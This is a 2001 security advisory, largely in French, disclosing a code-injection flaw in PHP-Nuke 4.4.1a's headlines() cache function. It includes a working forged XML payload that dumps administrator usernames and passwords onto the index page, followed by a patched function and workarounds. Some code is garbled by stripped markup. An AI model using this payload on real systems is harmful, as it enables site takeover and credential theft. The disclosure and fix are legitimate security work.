sAvAte inc. Serial Savate System <[( advisory )]> Programme: PHP-NUKE Homepage: http://www.phpnuke.org Auteur Contacte: 21/mar/2001 Reponse de l'auteur: ??/??/?? Patch de l'auteur: ??/??/?? Version teste: 4.4.1a (derniere version en date) Trouve par: tobozo - Problem description: ~~~~~~~~~~~~~~~~~~~~ La methode utilisée dans la fonction headlines() est une porte ouverte a l'execution de code arbitraire si le xml qui provient du fichier parsé est malformé dans un des champs dont l'information est retenue pour la mise en cache. Le probleme a deux causes : fputs($fpwrite, "$title
"; ?>\n"); 1) Aucune vérification n'est faite sur l'integrité du code situé entre les tags xml et <link>. 2) Le fichier cache est inclus au lieu d'etre lu et affiché if (file_exists($cache_file)) { include($cache_file); } - Impact: desastreux ~~~~~~~ 1) Il est possible en forgeant un fichier xml de faire éxécuter du code php dans le bloc headlines appelé en bénéficiant de toutes les informations de la session (variables Get, Post, Cookie, acces a la base mysql en lecture et ecriture). 2) Il est possible de faire afficher le resultat de l'execution de ce code dans un bloc du site sur la page principale et rendre ainsi ce resultat visible par tous les visiteurs. - Exploit facile: ~~~~~~~~ Quand un headline est défini pour lire un fichier backend http://serveurdistant/fichier.xml, si le webmaster du serveur distant modifie son fichier manuellement pour y inserer en une seule ligne du code php appelant des informations propres a la session , si ce code est précédé des caracteres \"; et se place entre le tag <title> et , ou entre les tag et , il sera transféré tel quel dans le cache et sera parsé lors du prochain affichage de la page principale du site. Voici un exemple de code xml forgé avec notepad qui liste les usernames/passwords : PHPNukePass Vulnerability en-fr PHPNuke : show me your pass. Brought to you by tobozo@biosys.net http://www.phpnuke.org/ Phpnuke naked http://www.phpnuke.org/topics/topic.gif 160 59 Affreux \";$result=mysql_query('select aid, pwd from authors');echo 'Pass List !!!<br>';while(list($user, $pass)=mysql_fetch_row($result)) echo 'User : <B>'.$user.'</B> Pass : <B> '.$pass.'</B><br>';#;// Le fichier cache alors est updaté avec le contenu suivant : \";$result=mysql_query(\"select aid, pwd from authors\");while(list($user, $pass)=mysql_fetch_row($result)) echo \\"User : $user - Pass : $pass
\\";#;//

"; ?> \" TARGET=new>
"; ?> Et la liste des utilisateurs et de leurs passwords est affichee directement sur la page d'index ! *Note : dans le tag les premiers caracteres sont \"; et representent la fermeture des guillemets pour le code php forgé par la fonction headlines. Fix : ~~~~~ In the mainfile.php update the Headline function with the following content : function headlines() { $result = mysql_query("select sitename, url, headlinesurl from headlines where status=1"); while (list($sitename, $url, $headlinesurl) = mysql_fetch_row($result)) { $boxtitle = "$sitename"; $separ = "<li>"; $cache_file = "cache/$sitename.cache"; $cache_time = 3600; $max_items = 10; $target = "new"; $items = 0; $time = split(" ", microtime()); srand((double)microtime()*1000000); $cache_time_rnd = 300 - rand(0, 600); if ( (!(file_exists($cache_file))) || ((filectime($cache_file) + $cache_time - $time[1]) + $cache_time_rnd < 0) || (!(filesize($cache_file))) ) { $fpread = fopen($headlinesurl, 'r'); if(!$fpread) { } else { $fpwrite = fopen($cache_file, 'w'); if(!$fpwrite) { } else { while(! feof($fpread) ) { $buffer = ltrim(Chop(fgets($fpread, 256))); if (($buffer == "<item>") && ($items < $max_items)) { $title = ltrim(Chop(fgets($fpread, 256))); $link = ltrim(Chop(fgets($fpread, 256))); $title = ereg_replace( "<title>", "", $title ); $title = ereg_replace( "", "", $title ); $title = ereg_replace( "\"", "\\\"", $title ); $link = ereg_replace( "", "", $link ); $link = ereg_replace( "", "", $link ); // fix #1 provided by tobozo@users.sourceforge.net 23-mar-2001 fputs($fpwrite, "$separ$title
\n"); $items++; } } } fclose($fpread); } fclose($fpwrite); } // fix #2 provided by tobozo@users.sourceforge.net 23-mar-2001 if (isset($cache_file) && file_exists($cache_file)) { $myfile=file($cache_file); $mylines=count($myfile); for($index=0;$index<$mylines;$index++) { $ticker.=$myfile[$index]; } } $ticker .= "
read more...
"; themesidebox($boxtitle, $ticker); $ticker = ""; } } - Workaround : ~~~~~~~~~~~~ 1) use a real xml parser for phpnuke (php functions or xml.php class) 2) store passwords as md5 on the database 3) install phpslash - Code: ~~~~~ Testé sur http://www.securix.org (avec succes) - Contact us: ~~~~~~~~~~~ http://madchat.sourceforge.net tobozo@users.sourceforge.net - Greets: ~~~~~~~ Yannick, Hertz, Hideo, Eberkut, Gard, madteam [EOF]